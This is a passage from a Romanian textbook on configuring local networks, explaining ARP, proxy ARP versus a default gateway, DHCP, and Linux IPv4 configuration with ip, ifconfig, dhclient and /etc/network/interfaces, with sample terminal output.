care este urmtoarea destinaie.
193.23.1.4 OC.18.7A.92.71.11 A1 193.23.1.1 OO.48.0C.18.7A.A2 24.8.17.1 OO.48.0C.18.7A.A3

HQ

2
A3 Sw8 A2

Sw7 B1 B2 24.8.17.3

193.23.1.7 OC.18.7A.92.71.1B

24.8.17.2 3-7 Studiul ARP

Pentru primul pas n procesul de rezoluie a adresei va trebui determinat dac destinaia se afl n aceai reea local. Pentru aceasta se aplic masca de reea att adresei destinaie ct i adresei surs, iar dac rezultatele operaiilor de I logic coincid, se va considera c sursa i destinaia se afl n aceai reea local. n cazul acesta n tabela ARP va fi cutat direct adresa MAC a destinaiei, pornind de la adresa IP destinaie. Dac tabela ARP nu conine nicio intrare asociat cu adresa IP destinaie, nodul surs va temporiza (ntrzia) ncapsularea datelor i va crea un cadru nou, numit cerere ARP. Acest nou cadru va fi un cadru de difuzare la nivel legtur de date (deoarece adresa MAC a destinaiei nu este cunoscut), dar va avea n cmpul de date informaii despre adresa IP destinaie. Nodul destinaie va identifica acest cadru drept o cerere ARP, i va actualiza mai nti tabela proprie, iar apoi va trimite un cadru, numit rspuns ARP, ce va fi unicast att la nivel legtur de date, ct i la nivelul reea. Pe baza acestui cadru sursa i va actualiza propria tabel ARP va ncapsula antetul de nivel legtur de date i va trimite cadrul.

96 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e Pentru mai mult claritate se va folosi folosi topologia din figura 3-7 pentru a urmri construirea tabelelor ARP. nainte de trecerea la nivelul legtur de date, adresa IP destinaie va fi cutat n tabela ARP i nefiind gsit se va crea un cadru special (o cerere ARP) ce va avea n cmpul adres destinaie din antet adresa de difuzare: FF.FF.FF.FF.FF.FF, iar n cmpul adres surs adresa MAC a staiei A1. n figura de mai jos este prezentat structura acestui cadru.

3-8 Cerere ARP Dac se va considera c reeaua din figur folosete Ethernet drept protocol de nivel legtur de date, datele vor fi difuzate i vor ajunge la A2, la A3 i la interfaa routerului conectat la segmentul A. Antetul cadrului va fi analizat la nivelul legtur de date de ctre toi receptorii aflai n acelai domeniu de difuzare. Cmpul destinaie fiind o adres de difuzare, cadrul va fi trimis la nivelul superior. Cadrul este identificat drept o cerere ARP i doar staia (interfaa de reea) a crei adres IP se regsete n cmpul de date al cadrului va iniia un rspuns transmis ca unicast att la nivel reea, ct i la nivel legtur de date. Totodat, pe baza coninutului cmpului de date din cadrul de cerere ARP va fi creat prima intrare n tabela ARP a staiei care s-a recunoscut ca i destinatar (n cazul de fa, A2).

3-9 Rspuns ARP Dup primirea rspunsului, A1 va putea insera n tabela sa ARP adresa MAC a lui A2, iar comunicaia din acest moment va decurge fr probleme. Fiind pe un segment Ethernet, toate cadrele schimbate de A1 i A2 vor ajunge la toate staiile de pe segment, astfel c, dei nu au emis niciun cadru, att A3 ct i ruterul vor primi att cererea ARP, ct i rspunsul. Cu toate acestea, nici cererea ARP, nici rspunsul nu vor duce la actualizarea tabelei ARP, cele dou cadre fiind ignorate. Astfel tabelele celor dou dispozitive rmn vide. Protocolul ARP este un protocol de nivel legtur de date, iar pachetele sale sunt identificate folosind valoarea 0x0806 n cmpul Lungime/Tip. Aceast valoare este mai mare dect 0x0800, cmpul Lungime/Tip identificnd tipul protocolului de nivel 2 i nu lungimea cadrului. Cmpul cod operaie din zona de date a cadrului ARP poate avea doar patru valori, dou folosite de protocolul ARP i dou de RARP. Astfel pentru valoarea 1 i 2 cadrul este interpretat ca o cerere, respectiv rspuns ARP, iar pentru valorile 3 i 4 este interpretat ca o cerere, respectiv rspuns RARP. Dup popularea tabelei ARP va fi creat i antetul de nivel legtur de date al cadrului ce trebuia transmis iniial, dup cum este prezentat i n Fig. 3-10.

P r o t o c o l u l I P v 4 | 97

3-10 Cadrul de date

Cum are loc comunicaia ntre staii aflate n reele diferite? S-a vzut c protocolul de rezoluie a adresei se bazeaz pe difuzri la nivel legtur de date. Ruterele n schimb nu propag pachetele de difuzare de nivel legtur de date n afara reelei din care provin. Revenim la primul pas al protocolului ARP, i anume la testul apartenenei la aceeai reea a adresei IP surs i a adresei IP destinaie. Cu alte cuvinte, dac rezultatul operaiei de I logic ntre adresa surs i masca de reea difer fa de rezultatul operaiei de I logic ntre adresa destinaie i aceai masc de reea, se concluzioneaz c sursa i destinaia se afl n reele diferite. n acest caz, n antetul de nivel 2 va trebui precizat adresa urmtorului router aflat pe calea ctre destinaie, altfel spus, adresa routerului implicit (default gateway). Dac n tabela ARP nu exist o intrare pentru routerul implicit, atunci va fi trimis un cadru cerere ARP, pe adresa de difuzare de nivel 2, pentru a afla adresa MAC a routerului implicit. Acesta va rspunde cererii, cu un cadru unicast ce va fi folosit pentru actualizarea tabelei ARP pe staia surs. n cele din urm va fi construit antetul de nivel 2 pentru cadrul de date, astfel nct adresa IP destinaie va fi adresa IP a destinaiei finale, dar adresa MAC destinaie va fi adresa MAC a routerului implicit. n cazul reelei de mai sus se consider c staia A1 vrea s comunice cu B1. Dup operaia IP(A1)&masc(A1) = IP(B1)& masc(A1), se determin c B1 nu se afl n aceai reea local. Astfel A1 va cuta n tabela ARP o coresponden pentru adresa routerului implicit, adic pentru 193.23.1.1. Dac aceast coresponden nu exist, va trimite un cadru de cerere ARP dar care va avea precizat n cmpul de date ca adres IP destinaie 193.23.1.1. Cadrul fiind unul de difuzare, va fi recepionat de ctre toate dispozitivele de reea aflate pe acest segment. A2 i A3 vor ignora cadrul, deoarece acesta va avea precizat ca adres IP destinaie alt valoare dect adresele lor. Routerul va trimite un cadrul de rspuns ARP similar cu cel din Fig. 3-10, n care MAC surs va fi: 00.48.0C.18.7A.A2, iar IP surs va fi 193.23.1.1. Pe baza cadrului de cerere ARP, routerul i va actualiza propria tabel ARP corespunztoare interfeei dinspre segmentul A, iar apoi pe baza cadrului de rspuns A1 i va aduga n tabela ARP o intrare nou, ce face corespondena ntre 193.23.1.1 i adresa MAC a interfeei routerului: 00.48.0C.18.7A.A2. Din acest moment staia A1 va ncapsula transmisia destinat staiei B1 folosind adresa IP a lui B1 (24.8.17.2) i adresa MAC a interfeei e0 a routerului (00.48.0C.18.7A.A2). Adresa destinaie va folosi routerului pentru a determina interfaa pe care trebuie trimis pachetul i astfel procesul de rutare va determina c pachetul trebuie trimis pe interfaa e1 a routerului. Pentru a lua aceast decizie, routerul va efectua o cutare n tabela sa de rutare pentru a identifica cea mai specific rut, cu masca de lungime maxim, ce cuprinde adresa destinaie. Dac ruta identificat se dovedete a fi o rut direct conectat, ruterul va trimite pe interfaa indicat de rut o cerere ARP pentru a obine adresa MAC a destinaiei. Dac ruta nu este direct conectat (dinamic sau static) aceasta ii va furniza adresa urmtorului hop, urmnd ca ruterul s emit cererea ARP pentru adresa MAC a hop-ului urmtor. Pentru topologia din Fig. 3-7, n urma a dou procese de cerere/rspuns ARP i o rescriere a antetului de nivel 2 operat de ruter, pachetul va ajunge la destinaie, aceast comunicaie simpl fiind realizat prin trimiterea a nu mai puin de 6 cadre cu antete de nivel 2 diferite. n plus, n tabela ARP a staiei A1, a interfeei e0, a interfeei e1 i a staiei B1 a fost adugat cte o nregistrare. Cum are loc comunicaia ntre staii aflate n reele diferite dac nu s-a precizat adresa ruterului implicit?

98 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e Pentru sistemele de operare ce ruleaz la nivelul staiilor, lipsa adresei ruterului implicit echivaleaz cu limitarea comunicaiei la reeaua local. Pe de alt parte, n cazul ruterelor ce au ca interfa de ieire o reea de tip multiacces (de exemplu Ethernet), dar nu au precizat i adresa urmtorului ruter trebuie cutat un alt mecanism pentru a asigura ieirea din reeaua local. Un caz similar este i cel al unor dispozitive dedicate ce ruleaz sisteme de operare monolitice, cu implementri pariale ale stivei TCP/IP datorit resurselor hardware mult mai limitate dect n cazul calculatoarelor personale (de exemplu maini de marcat, automate de cafea, etc.). Att pentru rute incomplet specificate, ct i pentru implementri pariale ale stivei TCP/IP nu va mai exista diferen ntre comunicaia ntre noduri din aceai reea local i comunicaia ntre noduri aflate n reele diferite. Staiile nu vor mai avea nevoie dect de precizarea adresei IP, pentru orice adres IP destinaie urmnd s iniieze o cerere ARP. Soluia se bazeaz pe rularea la nivelul ruterului de ieire din reeaua local a serviciului de proxy ARP. Proxy ARP este o extensie a protocolului de rezoluie a adresei. Pornind de la faptul c ruterul nu va transfera pachetele de difuzare, Proxy ARP va determina ruterul s rspund la toate cererile ARP destinate unor adrese n afara reelei cu adresa MAC a interfeei conectate n acea reea. Pentru a evita erorile de rutare, un ruter ce ruleaz proxy ARP va rspunde doar cererilor ARP emise pentru destinaii pentru care acesta are o rut n tabela de rutare proprie. Este important de subliniat c, dei pentru o adres IP dat nu poate exista mai mult de o singur intrare n tabela ARP, mai multe adrese IP pot fi asociate cu o singur adres MAC, acest fapt fcnd posibil funcionarea comunicaiei prin Proxy ARP. n topologia folosit anterior, pentru a permite comunicaia ntre A1 i B1 folosind proxy ARP, testul de apartenen n aceai reea nu mai poate fi fcut la nivelul staiei, deoarece aceasta nu mai are disponibil o masc de reea. A1 va iniia un cadru de cerere ARP, ce va avea ca adres IP destinaie B1 (i nu adresa IP a interfeei e0). Cererea va ajunge la toate staiile conectate n reeaua local, dar A2 i A3 o vor ignora nerecunoscnd adresa IP destinaie. Ruterul n schimb, rulnd proxy ARP, va testa mai nti dac cererea ARP este destinat unei staii aflate n afara reelei din care provine. Testul va folosi masca i adresa interfeei pe care a fost primit cererea, precum i adresa IP destinaie. Cum IP(B1)&masc(e0) este diferit de IP(e0)&masc(e0), ruterul va decide c destinaia se afl n alt reea. n acest caz ruterul va trimite cadrul de rspuns ARP folosind ca adres surs de nivel reea adresa destinaiei finale (n cazul de fa adresa lui B1 - 24.8.17.2), i adresa de MAC a interfeei de ieire din reea, adic 00.48.0C.18.7A.A2. Totodat, ruterul i va aduga n tabela ARP a interfeei e0 corespondena ntre 0C.18.7A.11.71.11 i 193.23.1.4, iar A1 i va aduga n tabela ARP intrarea ce asociaz 00.48.0C.18.7A.A2 cu 24.8.17.2. Cadrul de date va fi ncapsulat apoi folosind tabela ARP, preciznd ca adres IP destinaie 24.8.17.2, iar ca adres MAC destinaie 00.48.0C.18.7A.A2, exact ca i n cazul folosirii unui ruter implicit. Ruter implicit vs. Proxy ARP? Spre deosebire de Proxy ARP, n care cererea ARP este adresat staiei destinaie, n cazul precizrii routerului implicit cererea ARP este adresat direct routerului. n cazul proxy ARP staiile se comport ca i cum toate destinaiile s-ar afla n reeaua lor local, avnd ca adres MAC adresa ruterului. Aceasta nseamn c dac o staie vrea s transmit ctre trei staii aflate n reele diferite, staia surs va emite trei cereri ARP (cte una pentru fiecare). Cererile vor fi interceptate i li se va rspunde de ctre ruter; aceasta duce la o cretere a traficului, precum i a dimensiunii tabelei ARP de la nivelul staiei. n cazul default gateway staia surs va testa apartenena destinaiilor la reeaua proprie i n cazul n care observ c ele fac parte din alt reea, staia surs nu va trimite cereri ARP direct ctre ele ci vor folosi adresa MAC a ruterului implicit (pe care o pot afla trimind o singur cerere ARP). Proxy ARP ncarc ruterul, care trebuie s rspund la cererile ARP destinate staiilor din afara reelei; precizarea ruterului implicit ncarc staiile, care trebuie s testeze apartenena staiilor destinaie la reeaua local. Dei pare fireasc ntrebarea care dintre cele dou metode este mai bun, n reelele locale competiia s-a ncheiat n favoarea metodei bazate pe folosirea ruterului implicit. Staiile de lucru au

P r o t o c o l u l I P v 4 | 99 devenit foarte puternice n decursul ultimilor 15 ani, astfel nct distribuirea la nivelul staiilor a testului de apartenen a sursei i destinaiei la acelai LAN aduce acestora o ncrcare nesemnificativ, elibernd ruterul de procesul decizional asociat cu Proxy ARP. Pe de alt parte, ncrcarea ruterului la rularea Proxy ARP nu este semnificativ, mai ales pentru un ruter ce conecteaz o reea local. Din acest motiv majoritatea ruterelor (toate ruterele CISCO spre exemplu) vor avea activat implicit Proxy ARP. n cazul unei reele locale cu mai mult de o singur ieire de Internet, precizarea ruterului implicit ofer un control mult mai strict al staiilor, i permite implementarea balansrii pe baz de surs a traficului. Dac s-ar analiza strict doar cele dou protocoale, concluzia ar fi c n cazul n care staiile comunic preponderent cu alte staii din cadrul aceleai reele locale comunicaia bazat pe folosirea ruterului implicit va fi lent, datorit testului suplimentar, n vreme ce pentru cazul unei reele n care majoritatea traficului prsete reeaua local Proxy ARP va emite cte o cerere ARP pentru fiecare adres destinaie diferit.

3.3 DHCP
DHCP (Dynamic Host Configuration Protocol) este un protocol client-server prin intermediul cruia serverul furnizeaz staiei client parametrii de configurare necesari funcionrii ntr-o reea. DHCP ofer, de asemenea, posibilitatea controlului accesului la reeaua local (pe criteriul adresei fizice), precum i mobilitate, mutarea dintr-o reea n alta fiind posibil fr reconfigurarea manual a gazdei. DHCP furnizeaz un mecanism prin care serverul atribuie adrese IP clienilor. Exist trei modaliti de alocare a adreselor IP: alocare dinamic, manual sau automat. Alocarea dinamic presupune definirea unui set de adrese IP. Adresele IP alocate sunt nlturate din mulimea adreselor disponibile, dar n momentul expirrii perioadei de nchiriere (dac nu este prelungit contractul de nchiriere) acestea se pot ntoarce n zona adreselor disponibile pentru ca apoi s fie alocate unui alt nod de reea. Perioada de nchiriere a adreselor IP variaz n funcie de implementarea serverului de DHCP, valori uzuale fiind 24 sau 192 de ore sau orice alt valoare configurabil de ctre administrator. Alocarea manual presupune definirea pe server de asocieri ntre adrese MAC i adrese IP. La primirea unei cereri DHCP, adresa MAC surs va fi cutat n lista de asocieri. Dac nu exist o asociere definit, n funcie de configuraie, serverul poate ignora cererea, sau poate trece n modul de alocare dinamic. Alocarea manual permite administratorului implementarea unor politici de control al accesului la reea, fiind una dintre primele recomandri de securizare a reelei locale. n acelai timp, permite un grad de flexibilitate ridicat n cazul schimbrilor de topologie precum apariia unui nou server de DHCP sau schimbarea ruterului de ieire din reeaua local (default gateway). Alocarea automat mbin simplitatea de configurare a alocrii dinamice (trebuie doar definit setul de adrese IP disponibile, i nu o list de asocieri MAC-IP) cu avantajele de securitate ale alocrii statice: n cazul unui reele cu numr de adrese disponibile egal cu cel al staiilor o nou staie nu va putea primi parametrii de reea, deoarece o adres IP alocat nu se mai ntoarce n mulimea adreselor disponibile dect la restartarea serviciului de DHCP. Funcionnd n reeaua local, DHCP nu necesit un serviciu orientat pe conexiune care s ofere controlul traficului, detectarea i rectificarea erorilor sau secvenierea corect a datelor. Un astfel de serviciu (TCP) ar introduce ncrcare i ntrzieri nejustificate. De aceea, se folosesc datagrame UDP, pe portul 67 pentru server i pe portul 68 pentru client. Conversaia dintre client i server const n urmtorii pai: La pornire, staia client DHCP trimite cereri pentru iniierea comunicaiei cu serverele DHCP. Aceste cereri sunt trimise prin intermediul mesajelor BROADCAST de tip DHCPDISCOVER.

100 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e La primirea cererilor, serverul determin dac o poate onora. n caz afirmativ, serverul rspunde cu mesaj UNICAST de tip DHCPOFFER, care poate include adresa IP, masca de reea, adresa gateway, adresa serverului de nume, perioada de valabilitate, precum i muli ali parametri opionali. Dac routerul este configurat corespunztor, cererea poate fi transmis mai departe, ctre un alt server DHCP (DHCP relay), caz n care cererea este ncapsulat ntr-un pachet unicast i trimis spre serverul DHCP. Dac oferta este acceptat de ctre client, acesta va trimite un mesaj BROADCAST de tip DHCPREQUEST, n care sunt cerui parametrii respectivi. Se trimite un mesaj de tip BROADCAST i nu unul de tip UNICAST pentru a stabili care server a fost ales, n cazul n care DHCPDISCOVER a ajuns la mai multe servere. n implementrile uzuale ale DHCP, staia ncepe s foloseasc adresa IP alocat, dei procesul de confirmare nc nu s-a ncheiat. Serverul ales trimite un mesaj de confirmare UNICAST, de tip DHCPACK. n cazul n care adresa a fost alocat pn la primirea DHCPREQUEST, serverul va trimite un mesaj DHCPNACK, procesul relundu-se de la pasul 1.

3.4 Configurarea protocolului IPv4


n acest subcapitol se vor prezenta utilitare prin care se realizeaz configurrile necesare la nivelul 3 al stivei de protocoale, nivelul IP, n vederea asigurrii adresrii staiilor ntr-o reea.

ping
Utilitarul, respectiv comanda ping se regsete n cadrul tuturor sistemelor de operare ce au n nucleul lor implementat stiva de protocoale TCP/IP. ping a fost prezentat n capitolul Nivelul Fizic ca un utilitar ce ne ajut s msurm latena. Implicit, putem determina dac exist conectivitate ntre staia de pe care se execut comanda i staia ce are IP-ul specificat ca parametru n comanda ping. n general, n orice sistem de operare, modul de folosire al utilitarului este identic.
root@micos:~# ping mail.upb.ro PING mail.upb.ro (141.85.166.61) 56(84) bytes of data. 64 bytes from mail.upb.ro (141.85.166.61): icmp_seq=1 ttl=57 time=14.4 64 bytes from mail.upb.ro (141.85.166.61): icmp_seq=2 ttl=57 time=14.5 64 bytes from mail.upb.ro (141.85.166.61): icmp_seq=3 ttl=57 time=15.2 64 bytes from mail.upb.ro (141.85.166.61): icmp_seq=4 ttl=57 time=14.6 ^C --- mail.upb.ro ping statistics --4 packets transmitted, 4 received, 0% packet loss, time 3004ms rtt min/avg/max/mdev = 14.448/14.723/15.255/0.326 ms ms ms ms ms

3.4.1 Linux
Pentru a obine informaii suplimentare legate de opiunile utilitarelor prezentate, folosii paginile de manual (man nume_utilitar). ATENIE: n general toate utilitarele ce configureaz un sistem Linux trebuie rulate cu drepturi privilegiate.

ip address
n Linux, o adres IP se poate configura folosind mai multe utilitare. Unul dintre ele este ip, acesta fcnd parte din suita iproute2. Pentru vizualizarea i configurarea adresrii, comanda este urmat de parametrul address. Astfel pentru vizualizarea configuraiilor curente ale interfeelor folosim comanda ip address show:
root@HQ:~# ip address show 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue state UNKNOWN link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo inet6 ::1/128 scope host valid_lft forever preferred_lft forever

P r o t o c o l u l I P v 4 | 101
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP qlen 1000 link/ether 00:02:b3:a0:9f:65 brd ff:ff:ff:ff:ff:ff inet 86.122.60.17/26 brd 86.122.60.63 scope global eth0 inet6 fe80::202:b3ff:fea0:9f65/64 scope link valid_lft forever preferred_lft forever 3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP qlen 1000 link/ether 00:03:47:e0:da:38 brd ff:ff:ff:ff:ff:ff inet 192.168.254.1/27 brd 192.168.254.31 scope global eth1 inet6 fe80::203:47ff:fee0:da38/64 scope link valid_lft forever preferred_lft forever 4: eth3: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc pfifo_fast state DOWN qlen 1000 link/ether 1c:6f:65:fd:0b:53 brd ff:ff:ff:ff:ff:ff inet 192.168.254.129/27 brd 192.168.254.159 scope global eth3 inet 83.103.197.72/26 brd 83.103.197.127 scope global eth3:1

Dac se ruleaz comanda ip address, fr parametrul show, efectul obinut este acelai. n cazul n care dorim s vedem configuraia unei interfee specifice folosim parametrul dev urmat de numele interfeei:
root@HQ:~# ip address show dev eth0 2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP qlen 1000 link/ether 00:02:b3:a0:9f:65 brd ff:ff:ff:ff:ff:ff inet 86.122.60.17/26 brd 86.122.60.63 scope global eth0 inet6 fe80::202:b3ff:fea0:9f65/64 scope link valid_lft forever preferred_lft forever root@HQ:~# ip address dev eth0 Command "dev" is unknown, try "ip addr help".

Se observ c specificarea interfeei cu ajutorul lui dev este condiionat de subcomanda show. Pentru a configura o adres IP pe o interfa se folosete cuvntul cheie add urmat de adresa IP i masca. Specificarea interfeei este obligatorie:
root@HQ:~# ip address add 10.0.0.1/24 Not enough information: "dev" argument is required. root@HQ:~# ip address add 10.0.0.1/24 dev eth0 root@HQ:~# ip address show dev eth0 2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP qlen 1000 link/ether 00:02:b3:a0:9f:65 brd ff:ff:ff:ff:ff:ff inet 86.122.60.17/26 brd 86.122.60.63 scope global eth0 inet 10.0.0.1/24 scope global eth0 inet6 fe80::202:b3ff:fea0:9f65/64 scope link valid_lft forever preferred_lft forever

Dup cum se poate observa, adresa IP nu a fost suprascris, existnd dou adrese IP pe o interfaa. Dac nu se specific nicio masc, este implicit luat masca /32. Pentru a terge o adres IP de pe o interfa se folosete cuvntul cheie del, urmat de adresa IP i interfa:
root@HQ:~# ip address del 10.0.0.1/24 dev eth0 root@HQ:~# ip address show dev eth0 2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP qlen 1000 link/ether 00:02:b3:a0:9f:65 brd ff:ff:ff:ff:ff:ff inet 86.122.60.17/26 brd 86.122.60.63 scope global eth0 inet6 fe80::202:b3ff:fea0:9f65/64 scope link valid_lft forever preferred_lft forever

ATENIE: Dac se configureaz greit o adres IP (ai uitat masca de reea sau aceasta este greit), mai nti tergei configuraia respectiv (punei del n loc de add n comand). n caz contrar vor aprea anomalii greu de detectat. Toate configurrile fcute sunt n memoria RAM a calculatorului. La o repornire a sistemului de operare configurrile se vor pierde. O opiune foarte util pentru utilitarul ip este folosirea parametrilor n form scurt variabil. De exemplu, n loc de address, putem scrie doar un prefix din acesta, punnd condiia ca acel prefix s fie unic, adic s nu mai existe alt parametru ce ncepe cu acel grup de caractere:
root@HQ:~# ip a 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue state UNKNOWN [...] root@HQ:~# ip ad 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue state UNKNOWN [...] root@HQ:~# ip add 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue state UNKNOWN

102 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e
[...] root@HQ:~# ip addr 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue state UNKNOWN [...] root@HQ:~# ip a s 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue state UNKNOWN[...] root@HQ:~# ip a sh 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue state UNKNOWN [...]

n afar de paginile de manual, putei obine informaii despre parametrii posibili folosind cuvntul cheie help:
root@HQ:~# ip address help Usage: ip addr {add|change|replace} IFADDR dev STRING [ LIFETIME ] [ CONFFLAG-LIST] ip addr del IFADDR dev STRING [...]

ifconfig
O alt metod de configurare a IP-urilor pe sistemele Linux este folosirea utilitarului ifconfig, parte a pachetului net-tools, mpreun cu netstat, arp i route (pentru route vezi capitolul 6). Principalul dezavantaj al lui ifconfig este faptul c acesta se execut mult mai lent dect ip address (pentru mai multe detalii vezi [1]).
root@HQ:~# ifconfig eth0 Link encap:Ethernet HWaddr 00:02:B3:A0:9F:65 inet addr:86.122.60.17 Bcast:86.122.60.63 Mask:255.255.255.192 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:11683841 errors:80107 dropped:0 overruns:0 frame:80107 TX packets:9096265 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 eth1 Link encap:Ethernet HWaddr 00:03:47:E0:DA:38 inet addr:192.168.254.1 Bcast:192.168.254.31 Mask:255.255.255.224 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:4726904 errors:0 dropped:0 overruns:0 frame:0 TX packets:7221358 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000

eth3

Link encap:Ethernet HWaddr 1C:6F:65:FD:0B:53 inet addr:192.168.254.129 Bcast:192.168.254.159 Mask:255.255.255.224 UP BROADCAST MULTICAST MTU:1500 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 Interrupt:24 Base address:0x8000 root@HQ:~# ifconfig eth0 eth0 Link encap:Ethernet HWaddr 00:02:B3:A0:9F:65 inet addr:86.122.60.17 Bcast:86.122.60.63 Mask:255.255.255.192 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:11684015 errors:80107 dropped:0 overruns:0 frame:80107 TX packets:9096275 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000

Rularea fr nici un parametru duce la afiarea configurrilor fcute pe toate interfeele. Dac succedm comanda de numele interfeei, se afieaz doar configuraiile interfeei respective. Pentru a configura un IP, dup numele interfeei se adaug IP-ul urmat de cuvntul cheie netmask i masca reprezentat n format dotted-decimal:
root@HQ:~# ifconfig eth3 10.0.0.1 netmask 255.255.255.0 root@HQ:~# ifconfig eth0 eth0 Link encap:Ethernet HWaddr 00:02:B3:A0:9F:65 inet addr:10.0.0.1 Bcast:10.0.0.255 Mask:255.255.255.0 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:11684645 errors:80107 dropped:0 overruns:0 frame:80107 TX packets:9096486 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000

Dup cum se poate observa, adresa IP a fost rescris, cea veche nemaiexistnd. Dac se dorete adugarea de mai multe adrese IP pe o interfa se introduce conceptul de subinterfa (o interfa virtual asociat interfeei fizice). Pentru a specifica o subinterfa, se folosete numele interfeei urmat de : i un index (nu este obligatoriu s nceap de la 0 sau s fie consecutive n cazul mai multor subinterfee).

P r o t o c o l u l I P v 4 | 103 Mai nti vom reconfigura interfaa cu vechea adres, dup care vom aduga o adres IP pe o subinterfa:
root@HQ:~# ifconfig eth0 86.122.60.17 netmask 255.255.255.192 root@HQ:~# ifconfig eth0:2 10.0.0.1 netmask 255.255.255.0 root@HQ:~# ifconfig eth0 Link encap:Ethernet HWaddr 00:02:B3:A0:9F:65 inet addr:86.122.60.17 Bcast:86.122.60.63 Mask:255.255.255.192 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:11685175 errors:80107 dropped:0 overruns:0 frame:80107 TX packets:9096717 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 eth0:2 [...] Link encap:Ethernet HWaddr 00:02:B3:A0:9F:65 inet addr:10.0.0.1 Bcast:10.0.0.255 Mask:255.255.255.0 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

Se poate observa c interfeele au aceeai adres MAC, ceea ce nseamn c folosesc aceeai interfaa fizic. Ca i utilitarul ip, toate configurrile fcute sunt stocate n memoria RAM, au caracter temporar, iar la o repornire a sistemului de operare acestea se pierd.

dhclient
n cazul n care n reea exist un server de DHCP care ne ofer n mod automat configuraiile interfeei, acestea se pot obine folosind utilitarul dhclient, urmat de numele interfeei.
root@HQ:~# dhclient eth0 root@HQ:~# dhclient -v eth0 Internet Systems Consortium DHCP Client 4.1-ESV-R4 Copyright 2004-2011 Internet Systems Consortium. All rights reserved. For info, please visit https://www.isc.org/software/dhcp/ Listening on LPF/eth0/00:0c:29:4b:89:95 Sending on LPF/eth0/00:0c:29:4b:89:95 Sending on Socket/fallback DHCPREQUEST of 192.168.132.147 on eth0 to 255.255.255.255 port 67 DHCPACK of 192.168.132.147 from 192.168.132.254 bound to 192.168.132.147 -- renewal in 800 seconds.

n versiunile mai noi ale dhclient, acesta nu mai afieaz niciun mesaj. Pentru a vedea mesajele schimbate de acesta putei folosi opiunea -v (verbose). ATENIE: Toate configuraiile sunt stocate n memoria RAM, avnd caracter temporar. La o repornire a sistemului de operare, acestea se pierd.

/etc/network/interfaces
Dup cum s-a menionat n cadrul utilitarelor de configurare a adreselor IP, la o repornire a sistemului de operare toate configuraiile realizate nu mai sunt disponibile. Pentru a rezolva aceast problem, sistemul de operare pune la dispoziie, n general, un mecanism prin care acestea s fie configurate la fiecare pornire a sistemului. Se mai spune despre configuraie c este persistent sau permanent. n cadrul acestei seciuni se va prezenta modul n care se realizeaz o configuraie persistent pe sistemele debian-based. n fiierul /etc/network/interfaces se afl configuraiile permanente. Pentru interfaa eth0, intrarea n fiier este de forma:
root@HQ:~# cat /etc/network/interfaces auto eth0 iface eth0 inet static address 86.122.60.17 netmask 255.255.255.192 network 86.122.60.0 broadcast 86.122.60.63 gateway 86.122.60.1

Se observ c s-au specificat adresa IP 86.122.60.17, masca de reea 255.255.255.192, adresa de reea 86.122.60.0, adresa de difuzare 86.122.60.63 i gateway-ul 86.122.60.1. Dac nu sunt specificate, adresa de reea i adresa de difuzare sunt calculate automat de ctre sistem. Dac nu se

104 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e dorete adugarea unui gateway i acesta poate fi omis. n concluzie, n afar de adresa IP i masca de reea, toi ceilali parametri sunt opionali. n cazul n care configuraiile sunt obinute prin DHCP, se poate folosi urmtoarea directiv:
root@HQ:~# cat /etc/network/interfaces [...] auto eth1 iface eth1 inet dhcp

Dup realizarea configurrilor n fiier, acestea nu vor deveni active dect la urmtoarea pornire a sistemului. Pentru a nu reporni sistemul de fiecare dat cnd modificai o configuraie, se poate reporni doar serviciul de reea:
root@HQ:~# /etc/init.d/networking restart * Reconfiguring network interfaces... stop/waiting ssh start/running, process 19344 ssh stop/waiting ssh start/running, process 19433 ssh stop/waiting ssh start/running, process 19522 ssh stop/waiting ssh start/running, process 19611 [ OK ] ssh

i acest lucru este neplcut, deoarece va afecta toate plcile de reea, reconfigurndu-le. Pentru a evita reconfigurarea tuturor plcilor, se pot folosi utilitarele ifup (pornete i configureaz interfaa) i ifdown (oprete interfaa). ATENIE: acestea aplic configuraia din fiierul /etc/network/interfaces numai dac avei specificat directiva auto nume_intefa.
